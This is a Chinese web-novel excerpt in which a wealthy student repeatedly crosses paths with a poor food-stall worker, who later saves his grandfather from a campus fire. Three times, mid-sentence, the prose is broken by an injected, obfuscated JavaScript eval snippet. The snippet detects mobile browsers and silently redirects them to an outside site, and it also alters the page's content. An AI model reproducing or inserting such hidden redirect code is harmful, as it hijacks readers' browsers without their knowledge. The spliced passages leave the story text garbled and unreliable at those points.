《旷野星轨》 1. 琉璃 位于梧桐路的琉璃酒吧周三晚上人不多,零星只有六七位客人。靠西面墙的舞台不大,装饰得很有风格,用的是极好的演出设备。乐队表演结束几分钟后,有个女歌手上了台。她没有说什么开场白,在点歌面板上找了一会儿,直接放起伴奏,开始演唱。 靳樵想起来,这是一首零几年很流行的影视剧插曲,叫《千年泪》,他听过这首歌,但还从没听过这首歌的女声版。 靳樵抬头,随意往舞台看去,唱歌的女歌手穿一身简单的齐膝连衣裙,长发别在耳后,五官浅淡没有化妆,打扮并不像演艺人员。靳樵感到新奇,现在国内的酒吧歌手流行这个风格吗?他刚刚从国外回来。 舞台靠窗,这时候正是傍晚,窗外湖水映照夕阳,给室内带来一抹橘色的霞光。 女歌手笔直地站着,唱得很认真,也好听。靳樵却在歌声里听出了些紧张,她是新来的? 没等一曲结束,靳樵突然看着那张脸愣住了。 他盯着那女歌手,越看越疑惑,有点不太相信自己的眼睛。半首歌过去,靳樵竟冒出个想法,要不要现在到后台去问问老板,这是谁。 他想起来自己手机里一直装着叩叩(企鹅竟然是敏感词,真是绝了,后面叩叩都是这个意思哈),于是掏出手机,打开几年没进过的叩叩,往下翻找,翻了好长一会儿,终于找到一张发在空间的照片,日期是2012年。照片是在居仁大学的大礼堂拍的,照片上有爷爷靳建华,还有他,和此刻正在舞台唱歌的女生。他和她分别站在爷爷的两侧,他穿着西装,一只手插在兜里,仰着头,眉目间尽是意气飞扬。而另一侧的小姑娘,应星,双手将荣誉证书抱在胸前,抿着嘴看向镜头,目光拘谨,有一丝羞怯。 她的长相没怎么变,但别的都变了,气质、着装,那时的她和现在几乎天差地别。 “梦在千丝发间,我在梦里搁浅。月光尽是从前,苍白了的想念……” 靳樵看看手机,再看向舞台,一时大为意外,他从不知道,应星居然会唱歌,并且唱得还不赖,如今竟然当了酒吧歌手? 她是怎么走上歌手这条路的?靳樵记得,他初初认识应星时,她还是一个辍学打工的山村女孩,过得潦倒穷困。她连话都说得非常少,更遑论唱歌。 时光倒流回2011年,那一年,微信刚刚问世,年轻的人们日常聊天还喜欢用叩叩。 那年,靳樵还在居仁大学读大二。 2011年,一个初冬的夜晚。 时间已快到凌晨,大排挡内开着热风机、烧着炭火,一群学生还没有回宿舍,围坐在一起聊天。这家大排挡白天做麻辣烫,夜晚做烧烤,因为干净卫生、服务周到而十分受学生欢迎。靳樵记得,那天是阮梦的生日。 阮梦请了七八个同学一起庆祝,大家先是去KTV唱歌,后来又转到学校附近吃烧烤。第二天是周末,因此都不想那么早回去。排挡老板先带孩子回家睡觉了,临走前交代同学们,需要什么直接跟店里的小妹说就行,她会在这里一直守着。 烧烤味道不错,大家吃得尽兴。聊到后半程,几个女生又想再烤点土豆片,靳樵于是起身到屋里去叫。 靳樵走进屋内,看到守店的打工小妹正坐在灯下穿肉串。她穿着干活的围裙和水鞋,面前摆着砧板刀具、水桶和竹签,一边切一边穿。靳樵跟她说:“你好,麻烦你帮我们加两份土豆片。” 应星看了看旁边,轻声答应:“土豆片暂时没有了,我现在就去削,请稍等一下。” 她麻利将手上的肉串放到盘子里,摘下手套站起来。在应星转身的时间,靳樵无意中一瞥,看到她坐的小板凳上好像有什么东西,泅开来,在黄色的塑料凳面上十分显眼。 仔细一看,靳樵好像知道那是什么了,那是女生生理期的血迹。 他记得初中时,有一次大课间,前桌女生站起来,在课凳上留下一片血迹。当时班上的男生们发现后,大呼小叫地围了过去,那个女生脸色涨红,噙着泪跑出了教室。靳樵记得他看到那个女孩子蓝色的校裤上也染了一片,自那以后他便知道了女生有这个麻烦。 应星在冰箱旁的麻袋里掏出三四个土豆,拿起削皮刀转过身来。 靳樵想装作没看到,他还没来得及回头,应星先看到板凳上的血迹愣住了,随即抬头看他一眼,知道他看见了,便尴尬地低下头去。一颗土豆掉在地上,滚到冰箱底,她急忙蹲下来去捡。 应星知道自己裤子后面肯定也脏了。她今天带了卫生巾来的,最后一片吃晚饭时换上了,她没想到这么晚还不能回去,量又这么大…… “请你先到外面等等……我过几分钟便拿来。” 这种事情对应星来说再尴尬不过。她脱下外套系在腰间遮住后面,胡乱抽出纸巾擦那板凳,红色的血迹在纸巾上更是显眼,应星把纸巾丢到垃圾桶,把刚才穿肉串的一次性手套丢进去盖上,坐下来飞快地削土豆皮,不好意思抬头再看客人的反应。这客人还是一个男生。 靳樵默默退了出去,就当自己没有看到。 应星正在切土豆时,听到身后有脚步声,回头看到是靳樵重新走了进来。她以为是客人等不及了,便加快动作接一盆清水,将砧板上的土豆片倒进去,过水去淀粉,找个干净的盘子装了,递给他。 靳樵站在案板旁迟疑了几秒钟,从兜里掏出一片粉色的东西。 “如果你需要这个的话,我这里恰巧有一片……额……” 靳樵想起初中女同学无地自容的样子,也有些尴尬,只是接受到的教育告诉他应该帮助别人。那个女同学后面两节课都没有再离开座位,放学也等到所有人走后才肯起来,之后好几天都闷闷不乐,不和男生说话。 “我放在这里了。” 他把那片七度空间的卫生巾放在桌上,接过应星手中的盘子转身走了出去。 应星没来得及说什么,她看着那片卫生巾,有难堪,也惊讶。怎么男生会有这个?问外面的女同学要的吗? 过生日的同学暂时没有要走的意思,应星没有办法,去厕所换上了那片卫生巾。这家大排档的老板是应星老家亲戚的亲戚。店开在居仁大学附近,就做师生们的生意,服务出了名的好。白天送麻辣烫到学校不收别的费,晚上有学生来,留到几点都开门。好多师生对老板都眼熟,也愿意来消费。应星是打工的,拿了工资,老板让做什么就做什么,她没有怨言。她穿好肉串,削了半盆土豆泡在水里,开始打扫卫生。 应星在院里默默忙碌,想找个机会说谢谢,一直没找着。同学们围在一起聊得十分开心,他们说学校的事应星大半都听不懂,她没上过大学。 她默默听出一些信息,今天,坐在中间那个女孩子在过生日,她的名字好像叫阮梦。阮梦长得又高又瘦,长发披肩,穿栗色打底衫和羊绒短裙,露出皮肤的地方白得发光。应星拿袋子给她装外套时都愣住了片刻,怎么会有这么白这么漂亮的女生?应星甚至看到她的头发在灯下有水波一样的光泽。她就坐在刚才送她卫生巾的那个男生旁边,两人离得十分近。应星猜想那片卫生巾或许是找她借的吧。 应星不知道,那片卫生巾是靳樵自己带的,为阮梦带的。他正在追阮梦。 这几天阮梦也在生理期,出门时室友给他出了主意,要给女神带备用卫生巾。烧烤时靳樵看到阮梦包里自己带了,用不着他的。刚好撞上应星有需要,就送应星了。 凌晨两点多时,聚餐的同学终于结束起身回学校,应星到柜台给客人结账。 阮梦上来要结账,靳樵挡在她前面,拿出钱包跟应星说:“我来结。” 为免出错,应星用计算器算了两遍所有的消费才接过靳樵的钞票,点数找零。 趁着这个机会,她终于跟靳樵说了声谢谢。 靳樵随意点点头:“不用谢。” 聚会结束。 靳樵走出院子时回头看了看狼藉的烧烤桌,他们离开后打工妹子还要收拾,也不知道那片卫生巾她用上没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17477929|201591||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有。他突然有点后悔,或许人家自己就有呢,送那东西,应该没有很唐突吧…… 那天晚上,靳樵送阮梦到宿舍楼下,在酒精的作用下放弃了原先制定的计划,直接跟阮梦表白。他意外的是,阮梦似乎早就知道他喜欢她,考虑了半分钟,爽快答应两人交往。 这就是2011年的那个冬夜,靳樵对应星有最初印象的那个夜晚。 过后几天,应星来男生宿舍送麻辣烫,靳樵才想起来,应星之前应该来过不少次男生宿舍了。那家大排档的老板对同学们很好,白天打电话过去订餐,半小时内肯定送到,不仅送得快,还能顺便帮忙带点东西,一包烟,一包纸,甚至超市的水果切,都不额外收费。有时来送餐的是个男生,有时是女生,只是一直没人注意他们长什么样子。 应星爬到五楼,敲开503宿舍门时,看到一幅熟悉的场景。四个男生各自坐在电脑前,屏幕上是飞快变化画面的大型游戏,他们聚精会神操作着鼠标,把键盘敲得老响,不时大声说着游戏里的话。 她站在门边:“请问一下,谁点的麻辣烫呢?” 她问了两遍,看到电脑画面停止了,四人相继摘下耳机。靠窗那位男生招手:“拿进来吧,是我点的。” 应星走过去,把饭菜和一盒水果切放在他桌上,男生说:“那个,你方便的话,可不可以请你帮个忙,付费的。” 应星没听懂:“什么?” 男生一边打开果切盒子,一边用下巴示意应星:“请你帮我把这袋垃圾带下楼去,就丢在门口的垃圾桶里,可以吗?” 应星暂时没反应过来。这时,门边位的男生靠着凳子向后一拖,拉着脸看过来,“过分了吧,人家凭什么给你丢垃圾?” “我都说了付费的!”点餐的男生面向应星,“五块钱,你看可以吗?” 应星听明白了,但她不知道该不该答应。她以前也住过校,同学之间顺手帮忙丢袋垃圾,她自然乐意帮忙,可是这个人要付她五块钱,该拿吗?应星眼睛扫过去,那垃圾桶已经满了,最上面是个歪斜的方面便桶,里面还有油水,油水里又丢了纸巾,看了并不舒服……意思是,要她把这垃圾袋收拾起来再带下去吗?那虽然简单…… 应星站在原地犹豫的时间,点餐的男生看出她有想答应的意思,便伸手到柜子里找钱包,掏出一张紫色的五块钱来。 门边位的男生叫李耿。李耿推开椅子站起来,“你请人家带个别的都好,五块钱打发帮你扔垃圾是什么意思?你那方便面都几天了?瞧不起餐馆服务员吗?” 点餐的男生脸色一垮,提高音量,“付费买服务怎么了?你他妈在这多管谁的闲事?” 应星被这争吵吓了一跳,不知道怎么两人就要吵起来了,站在那里进也不是退也不是。其实这间寝室相对整栋楼还算整洁的,除了点餐的男生那边,其余地方都收拾得还算干净,那个满溢的垃圾桶确实很碍眼。 李耿“哐”一声将凳子踢出半米远,“让人丢垃圾合适吗?人家不是你请的保洁!” 应星怕卷进纷争最后两人一起针对她,不自觉缩了一步。“不好意思,我还有别的事……” “哎——”另一个靠窗的男生也站起来。应星看过去,发现他就是前几天送她一片卫生巾的那个男生。 拿着五块钱的男生一脸怒气,“靳樵,你也觉得花钱买服务不行?那让人家送餐不是花钱买服务?算在餐费里了。这有区别吗?” 靳樵不想看到一个打工的女生掺和室友的争吵,朝应星说:“他俩是私怨,跟你没关系,你先走吧。” 李耿和于晓冬一直有些矛盾,今天又因为打游戏配合不佳,这时候怨气爆发了。 应星因为害怕,没说谢谢,也没说老板交代的那句“祝你用餐愉快”,飞快带上门离开了。一路上她忍不住想,五块钱,顺手丢个垃圾,来得比她的工资容易多了,但那人真的是瞧不起她吗? 如果不是怕吵起来,她已经有点想说可以了。 2. 跨年 十五号是发工资的日子,应星打电话给姑姑,告诉她自己这两天就会把钱打到卡里,请她取出来给爷爷奶奶送去。姑姑在电话里照旧问她冷不冷,累不累,店里的活还能做吧。说到后面姑姑吞吞吐吐,犹豫了一阵,还是跟应星说,奶奶最近咳得很严重,一直拖着没有去看,劝她也不去。应星想了想,跟姑姑说,那她多打三百回去,请姑姑尽快拉奶奶去看病。 姑姑又有些不忍:“小星,那你生活费还够吗?” 应星说:“够的,放心吧。如果实在不够,就在舅爷他店里随便吃点,应该可以的,店里每天都会剩下东西。” 大排档的老板跟应星没有血缘关系,应星随介绍她来的亲戚家孩子喊他舅爷。姑姑或许是想着开餐馆的总归有吃的,想了想便答应了。她关心应星,但自己家里也过得困苦,也没有多余的力气帮她了。 应星挂了电话,到银行汇了钱,在小本上记下打钱的日期和金额。 这家大排档开了有几年了,生意一直不错。老板夫妻俩有女儿后才招了小工,都是老家亲戚介绍来的,应星和另一个男生轮流做。他们的店虽然不大,但活并不轻松,给居仁师生们送餐又是免费的,要是一个月三十天都让应星干,身体会撑不住。 应星来了半年,她干活踏实,夫妻俩对她都有些好感,并不苛待她。 舅爷知道应星需要钱,过几天闲聊时便主动和她聊起,节假日有个赚钱的小生意,就是到批发市场低价批发气球、烟花棒这些东西,拿到人多的地方去卖。一定有人买,一次性的生意,多少都能赚一点。应星听进去了,一边捡葱一边问舅爷卖的时候怎么定价。舅爷也教她,定整数最好,十块二十这样,人家掏钱也爽快,也不用怎么找零。如果买的人多,再试着加价。 舅爷说得有道理,应星真打算试试,对她来说能多赚多少都是好事。 2011年的最后一天,跨年夜。应星轮休,她一大早便坐公交车到批发市场,批了一袋气球、一袋孔明灯和一袋仙女棒。 批发店老板给她介绍说别的能卖得更好,应星没敢买。她身上没多少钱,买多了她还怕卖不出去。临走时老板问应星怎么给气球充气,应星才想起来需要买充气的东西。另外还有个难题,拿着这些东西坐不了公共交通。应星算了算成本,买了一个充气罐,再打车到人民广场。那年应星还没听说过支付宝之类的东西,一来二去,她发现身上连吃碗面的钱也不够了。她怕付了饭钱,剩下的钱不够给人家找零。 跨年夜,汉源市的人民广场是整个城市人流最大的地方。应星刚到那不久就有人买她的气球,广场有城管和警察值守,小贩们都不敢占用地面,应星只能把物品挎在身上,在人群中穿梭着卖。 夜幕降临时,卖东西的人一下子多了几倍,生意也冷淡下来。看不见城管了,应星才找了个花坛边沿坐下,把剩下的东西整齐摊开,希望守到最后能卖完。 ———— 那几年,大学生们对跨年夜、女生节这样的节日十分狂热,居仁学子当然也不例外。 靳樵在平江路的家里休息了一阵。时钟指到十点,他穿好外套从家里出来,掏出手机给阮梦发消息:“十一点我在广场钟楼那里等你。” 过了一会儿,又发了一条:“要我来学校接你吗?” 他拨电话过去,响了很久,没人接。今天居仁大学校内也有跨年晚会,阮梦是演职人员。她没跟靳樵说她的表演时间,靳樵跟学生会的同学要了节目单,知道她的舞蹈排在九点。 最近两人的恋爱谈得十分不顺畅,这几天直接冷战了。冷战的原因……一次是因为靳樵在寝室打游戏,陪她逛街迟到了半小时,逛街时还拿着手机低头和队友交流战术。一次是在昨天,靳樵做完课程作业后睡了个午觉,忘了去看她彩排。 昨晚靳樵想约她出来道歉,她没给机会。 阮梦长得漂亮,气质卓然,很多男生喜欢她。那次生日聚会,同去的其中三个男生都对她有好感。靳樵想,她这样傲气也难免。 他又拨了两次电话,心里暗自自责,但阮梦依然没有接。 靳樵在家门口拦了一辆车,跟司机说去居仁大学。 路上有些无聊,靳樵翻出一个学长邀请他参加比赛的消息来看。是一个竞争很激烈的创业大赛,每两年举行一次,全球顶尖高校的学子都会组队参加。 这个比赛他也有兴趣,但要是去参加,就更没有时间陪阮梦。靳樵给学长发了一段长消息,说了感谢他的邀请,然后婉拒了。 车在路上堵了十分钟,司机跟靳樵说,现在去居仁的路已经全部堵死了。靳樵让司机前面直接掉头去广场,然后给阮梦发信息:“来学校的路堵了,来接你零点前不一定赶得回去。学校去广场倒是不堵,我还是到钟楼那里等你。” 天气很冷,但准备跨年的人们依然很疯狂,诺大的广场挤得人山人海。 靳樵不喜欢拥挤,说真心话也没多喜欢跨年,但是阮梦喜欢。刚在一起时她就说了自己每一年都想来钟楼跨年。今晚他在学校看了阮梦跳舞,带了相机帮她拍照。等她表演完,他回家拷了照片,又将几张好看保存到手机里,给她发过去。他准备约她出来跨年,然后和好。 广场上人流如织,成群结队的年轻人和做生意的商贩最多。靳樵挤到钟楼下,找了个靠边的地方等阮梦。 快要十一点时,阮梦还没有回电话来。手机信号被人群挤得只剩下两格,打游戏也变得卡顿,靳樵无聊地抬起头来,突然看到不远处的花坛前有个略熟悉的身影。 他掠过人群缝隙仔细看,是周记大排挡打工的那个女生,靳樵此时还不知道应星的名字。 她像是来了很久,面前平铺着塑料袋,上面摆放着气球和烟花棒,还有一样靳樵没看出是什么。剩得不多了,但是广场上卖这些东西的人太多,来问的人很少。 等到十一点,阮梦没有出现。靳樵心里一阵失望,掏出手机想继续给她打电话,却又想到她肯定早看到他发的信息了,打不打这个电话也没区别,他继续等着就是了。 时间一分一秒过去,那天直到零点,数万人随着大屏一起倒数,新年的钟声准时敲响,阮梦都没有来。 悠长的钟声在广场回响,跨年的人们欢呼雀跃,举起手机拍照,汇成狂欢的海洋。靳樵看到那摆摊的女孩也站了起来,随人群一起仰头看向天际飘飞的气球,她面前摆着的小商品还剩几样。 跨年活动结束,人群开始慢慢散去。有个男生牵着女友过来问烟花棒怎么卖,应星只说了白天一半的价格,男生把最后两捆烟花棒一起买走了。应星一阵欣喜,她还以为过了零点这些东西便无人问津了。有人买,应星便又坐了下来,从背包里掏出一张纸,写上“孔明灯10元一个”摆在前面,想把最后两样出了。 凌晨一点时,广场的人群全部散去,地面只剩下到处狼藉。应星站了起来,把孔明灯收进塑料袋,向不远处的煎饼摊走去。 煎饼摊前站着个男生,应星开口说要个煎饼,那摊主看了看两人:“不好意思啊,只够做最后一个了。” 靳樵转过头。 应星认出是一张熟悉的脸,脸上闪过微微吃惊的神情。她没说什么话,但看样子冻坏了,又冷又饿的狼狈都写在脸上。 靳樵于是说:“老板,那给她吧。” “好嘞。”老板麻利地把最后一点面糊倒出来。 靳樵今天出来时忘记戴手套了,他低头用冻僵的手点开手机。好几个Q群里都很热闹,大家在互道新年快乐,而阮梦还是没有回他。 靳樵突然觉得没意思。有的人为了生存挨饿受冻,有的人却大老远跑来挤在人群里浪费一个晚上。他不想等谁了,跟阮梦没关系,就是突然觉得这件事很傻很没意义。 应星在餐车前等,身体微微佝着,双手缩在袖子里,捏住袖子取暖。靳樵看到她把大塑料袋挎在左肩上,袋里还装着卖剩下的东西。 靳樵走了两步,回过头去问应星:“你的气球还卖吗?” 应星一愣。 “这……不是气球,是孔明灯……” 有人问,应星便打开塑料袋给他看。 原来是折叠的孔明灯。 看过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17477930|201591||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了,应星合上塑料袋挂回肩膀。大塑料袋窸窸窣窣响,靳樵听到她牙齿打颤的声音。她穿得很单薄,靳樵不知道在这里卖一晚这些东西能赚多少钱。 “还卖吗?” 应星没想到跨年的人都走光了,还有人买孔明灯,吃惊地张了张嘴,低声问:“你、你要吗?” “嗯,我都买了,多少钱一个?” “十、十块。”午夜气温骤降,应星被冻得有点抖。 还剩三个,靳樵从钱包里掏出三十递给她,接过她手里的塑料袋。他打开塑料袋看了看,这玩意儿拿到家里也是吃灰,最后让阿姨当垃圾扫走。 煎饼摊主把最后一个煎饼果子递给应星,切成两半装在两张防油纸里。应星想了想,拿出其中一半,把有塑料袋的那一半递给靳樵,这样他不会脏手。 她小声说:“那次,谢谢你了。” 摊主收拾完毕,推着车走了,宽阔的广场周围只剩下两个人。靳樵想说你自己吃吧,看她是真的想给,犹豫了一下还是接了过来。 两人站在那里吃完了,靳樵问应星:“这玩意儿怎么放?” “嗯?” 靳樵:“我是问,孔明灯是放到天上的吧,怎么放呢?”他记得《泰囧》里面有个片段就是放孔明灯,但这东西是瘪的。 应星小口咬着煎饼,发着抖说:“撑开,点燃,就可以了……” 过了一会儿,靳樵捉过她手里吃剩的防油纸,到不远处垃圾桶丢了,走回原地拿出一个折叠的纸灯在手里研究。 “也许明年就禁放了。” 靳樵低着头摆弄,一边又问:“你卖的气球充的是氢气还是氦气?” “氦气。” “氦气就好。氢气易燃,每年都有氢气球惹着电线的新闻。虽然广场这里开阔,也没有电线,但存在安全隐患,没准明年市委就把氢气球禁了……” 应星听着他讲话,无意识地随着点点头。 靳樵把一个孔明灯迎风撑开,回头看应星,“下次你要是再去批发气球,最好先看看当天的新闻,看有没有禁氢气球上天的通知。” 应星不知道靳樵为什么会跟她说这些,还说得很有道理。跨年夜出来的人们都是成群结队的,大多数是情侣,买孔明灯的一般也都是情侣。灯点燃后两个人各持一边,然后一起放开,看着它飘到空中去。应星不知道靳樵为什么一个人留到这么晚还不走,上次一起的那些同学呢? 靳樵让应星帮他举着,他从兜里掏出一个Zippo,“咵”地擦出火焰,点着孔明灯底部。应星把灯交给他,看到他双手一扬,黄色的灯轻悠悠地飞了出去。她忘记告诉他了,应该先在灯纸上写字,这灯是用来祈愿的。 靳樵又放了第二个,把第三个迎风打开,“这个好像有点问题……”靳樵凑近了仔细看。 可能是因为挤压,其中一条灯架断了,于是六角的灯塌了一边。 应星也看到了,“对不起啊,我没注意,那,我退你十块钱吧……” “不用,也能放。”靳樵把Zippo递给应星,“这个你来点吧。” 应星接过打火机,不知道怎么擦火,靳樵又接了过去。 灯架要是不平衡,飘出去也会很快掉落的。应星从靳樵手里把灯拿过来,褪下手腕上的一根皮筋,将那断掉的长条支架两端并住,紧紧绑起。这样虽然短了几公分,但比刚才平衡多了。 应星双手举着灯,靳樵将底部点着,两人一起放手,看着它晃晃悠悠地向钟楼顶飘去。 气温已经降到零下,比白天冷了不是一点半点,应星冷得直打哆嗦。她再次跟靳樵道了谢,急匆匆跑出广场去赶最后一班跨年公交。 靳樵捡起地上的包装纸,走到垃圾桶丢了,看了看时间,才想起来今晚他不回平水路,他也要回学校的。如果应星也是回学校附近的话,应该叫她一起打车,也能给她省点钱。但他往钟楼后面望去,人已经看不见了。 2012年的新年之交,两个毫无来往的人就这样一起在广场的世纪钟楼前放飞了三盏孔明灯,都没有写字,也都没有许愿。 3. 惊变 跨年夜后,应星去男生宿舍楼送过许多次餐,也进过两次503,都没有遇到靳樵,他好像不常在寝室了。 直到放寒假,居仁大学里的食堂关门,大排档的订单增多起来。 有一天,应星又进学校送餐。居仁大学校园很大,那天给的地址有点偏僻。她根据纸上描述的地址找了好久,才找到后勤部办公楼后面一个破旧的地库。走进去,地库很宽阔,墙面印着许多涂鸦,一群学生在试验机器人。应星走到D-08那一间门口,看到里面似乎是个实验室,里面很凌乱,放着两台大电脑和许多应星看不懂的装置,靳樵和两个男生正在摆弄桌上密密麻麻的电路板。 应星站在门口敲门,他们才抬起头来。“吃的来了!” 送餐时间已经超过半小时了,应星摸摸餐盒,给他们道歉:“对不起,这里有点难找,我耽误了点时间……如果饭菜都凉了,可以重新给你们送一份” 靠门边的学长接过应星手里的餐盒,“将就吧。” 应星看到学长手上沾满黑灰,是长时间在这屋子里做实验弄上的,靳樵和另一个男生手上也都有。 应星不知道他们做什么。在她以前的想象里,大学应该也像是中学那样,学生们主要的事就是坐在教室里学习。但她在居仁的校园里见到太多太多超出她想象的事。在全国最顶尖的学府里,坐在教室听课只占学生生活的一小部分,这些学生好像能做所有的事。 靳樵直起腰来,问应星:“你们大排档开到哪天?过前年还有吗?” “年前开到腊月二十五,年后初十上班。” “这样啊。”靳樵先没吃东西,走到门口跟应星说,“从西门到地库有一条更近的路,你知道吗?” 应星摇头。 “那条路校外的人确实难找,你跟我来,我指给你,下次送餐就能走近路。” 靳樵带着应星走出地库。 应星跟在他后面,默默盯着他交替走路的两条长腿,一边听他说:“这是学校拨给我们的场地,这个假期我们都呆在这里。食堂关门了,明天起可能经常在你们店里订餐。” 应星一愣,“哦,好。” 两人走出一段路,靳樵指给应星,从后勤部的后门穿出去,下两道台阶,看到实验楼不远处的雕像,从雕像所在那个花园走小路出去就是逸夫楼,逸夫楼前直通校门,可以把电动车停在那里。 居仁大学很大,这条路确实近很多,靳樵讲得很清晰,应星记住了。 靳樵看看她,她依然穿得不多,因为快速赶路,脑门还浸出了些汗。他有些好奇她送餐有没有提成,送一次提成多少,但觉得这样问并不礼貌,看她记住了,朝她点了一下头就转身回去了。 靳樵的生活跟应星截然不同。 靳樵的爷爷靳建华是国内知名的结构生物学家,居仁大学生物科学学院教授。靳樵小时候随父母在国外呆过几年,后来就回国,跟在爷爷身边长大,一路读附小、附中,然后顺利进入顶尖学府居仁大学。偶然撞见过应星几次,他在应星身上看到一个他从没接触过的世界。应星的年龄看起来并不大,这样的年纪按理说应该还在学校里,再联系她的日常,靳樵便知道了,应星应该是辍学了,或者,没考上大学。这个世界有很多幸运的人,也有很多运气不好的人。居仁大学的学生们可以称得上世界上最幸运的那拨。 大二下学期,靳樵几乎把所有课外时间都花在了他们的参赛项目上。跨年夜回来的那天晚上,他给邀请他的研究生学长周祖宸打了个电话,决定一起组队参赛。 应星依然常来宿舍园区给学生们送餐,也送去过七栋503,但几乎没有再碰见靳樵。 如果不是那年夏天的那次意外,靳樵和应星的交集就仅仅只是这样,毫无来往,彼此世界的旁观者。 那时2012年七月初的一个伏天。 居仁的小学期已经开始,连续多日的大太阳将校园里的一切都晒得有气无力。下午两点左右,正是居仁师生午睡醒来的时间。有学生骑着车路过家属楼,隐隐闻到一股异味,骑车的学生并未多想,很快骑过去了。家属楼并不在学校的主干道上,等到有人看到大股浓烟冒起时,浓烟底部已经燃起火光。有人路过惊叫,快速打了消防电话,电话拨通没多久,火光片刻之间就封住了一栋楼大半窗口。 靳樵骑车去给靳教授送生活用品,看到前方有学生惊叫着跑过来,“有火灾!别过去!”与此同时,消防车从校门方向呼啸而来。靳樵伸头远看,一瞬间几乎吓掉了魂,那是爷爷住的第五栋! 靳樵飞快赶到院子门口,看到满院浓烟,撂了自行车就要冲进去,被从后面跑上来的消防员一把截住。 靳樵着急甩开他:“我爷爷有哮喘!” 截住他的消防员没放手,身后的消防车立刻开始工作,灭火泡沫喷向楼栋。 浓烟中,众人看到有个单薄的身影背着人从楼梯口跑出来。她背得极艰难,但跑得不慢,跑到门口时支撑不住,一个趔趄倒在地上,被消防员眼疾手快扶起。背人的是应星,她背上的人头发花白,靳建华教授已经晕过去了。 火势下去一点,随车的消防员随即冲进了楼中。 校医院的急救医生很快赶到,将靳教授抬到开阔处。医生一边急救一边告诉靳樵:“还有呼吸,是缺氧导致的晕厥。” 医生给靳教授通畅气道,戴上储氧面罩,将流量阀推到高速的位置。靳樵随着医生抬起人往医院跑,和从地上爬起来骑上自行车继续送餐的应星擦肩而过。万分紧急,他来不及跟她说什么。 靳教授被抬到校医院,躺了半小时后转醒。医生告诉靳樵,缺氧时间不长,如果不是靳教授本身患有哮喘的话,会醒得更快,再观察到今晚,没有大碍应该就可以出院了。 靳樵到病房外给爸爸和两个姑姑打电话。他回到病房,靳教授身体舒服了些,才慢慢跟他复述当时的情景。 靳建华有固定时间午睡的习惯,因为家属楼偏僻又安静,火灾起时毫无征兆,等感到气闷被惊醒时,窗帘已经被惹着,很快引发了他的哮喘。他挣扎着起身去开门,打开门时,因为缺氧一下软倒在地上…… “救我的人好像是个姑娘,我只记得没有一点力气,昏过去前被她背了起来……阿樵,我这里没事了,你现在就去保卫中心看监控,请保卫人员帮你找一找,看这姑娘是哪个学院的,这是救命之恩!” 靳樵没动,看着靳建华,“爷爷,我知道背你的人,她是学院路周记大排档的服务员,名字,我暂时还不知道。” 靳建华惊讶:“不是本校学生?” “不是,她是那家餐馆打工的,常来学校送餐,家属区那里也常去。今天也许就是到家属楼送餐,刚好遇到火灾。” “阿樵,你认识她?” 靳樵点头,“不熟悉,只是点过小餐馆的麻辣烫,她经常来宿舍送餐。” 靳建华沉默片刻,“这样一个跟我素不相识的小姑娘,看到火起竟然愿意跑进楼里救人……” 他有些感慨:“我昏迷前好像注意她个子不大,也不知道怎么把我背起来的……那是三楼,要不是她把我背出来,等消防到时,不知成什么样子了。” 电话铃声响了,学院的领导打来问情况。靳建华接电话的时间,靳樵打开校园网,校园火灾的事已经在热门上了。很快保卫科也打来,跟靳建华说查明了起 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17477931|201591||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 火的原因是电路老化,造成一人昏迷,二人轻伤,财产损失暂未统计。 靳建华接完电话,有些不忍心,开始不断自责:“我平时眼睛只盯着学生和实验室,学校跟家属们说过几回翻修,我都没放在心上……这件事我也有责任。” 靳建华今年七十五岁,身上不少基础病,生活不是很方便,平水路的房子离学校远,学校里的事情又极多,他因此常住家属楼。 他越想越有些后怕,“低氧时间一长,对人体尤其是大脑的损伤完全不可逆。阿樵,时间再慢点,我就是被医生治醒,恐怕脑子也做不了事了。今天真是太惊险,如果我就这样睡过去,我倒是年纪到了,但是实验室里的事和我那些学生怎么办……” 靳樵着急:“那您现在感觉如何?” 靳建华长舒一口气:“现在没有大碍,不幸中的大幸。” 电话又响起,是学校党委打来的。这次,靳建华跟书记提了应星救人的事。靳樵听到电话那头也愣了一下,显然也没想到见义勇为会是个跟学校没关的打工姑娘。靳樵沉默,心里却突然觉得翻江倒海。他也一样的,如果不是他亲眼看到,他也很难相信会是应星,很难想象到应星跑进着火的楼里救人的画面。这里是天子骄子聚集的居仁大学,而应星只是一个辛苦忙碌的打工人,她只是送餐路过那里,她过得很困窘,是靳樵长这么大没见过的那种穷。只要想到她冷得发抖的样子,便知道她连买一件厚羽绒服的钱都没有。 ———— 第二天,靳建华出院,能正常走路了,就让靳樵带着他到周记排挡拜访应星。 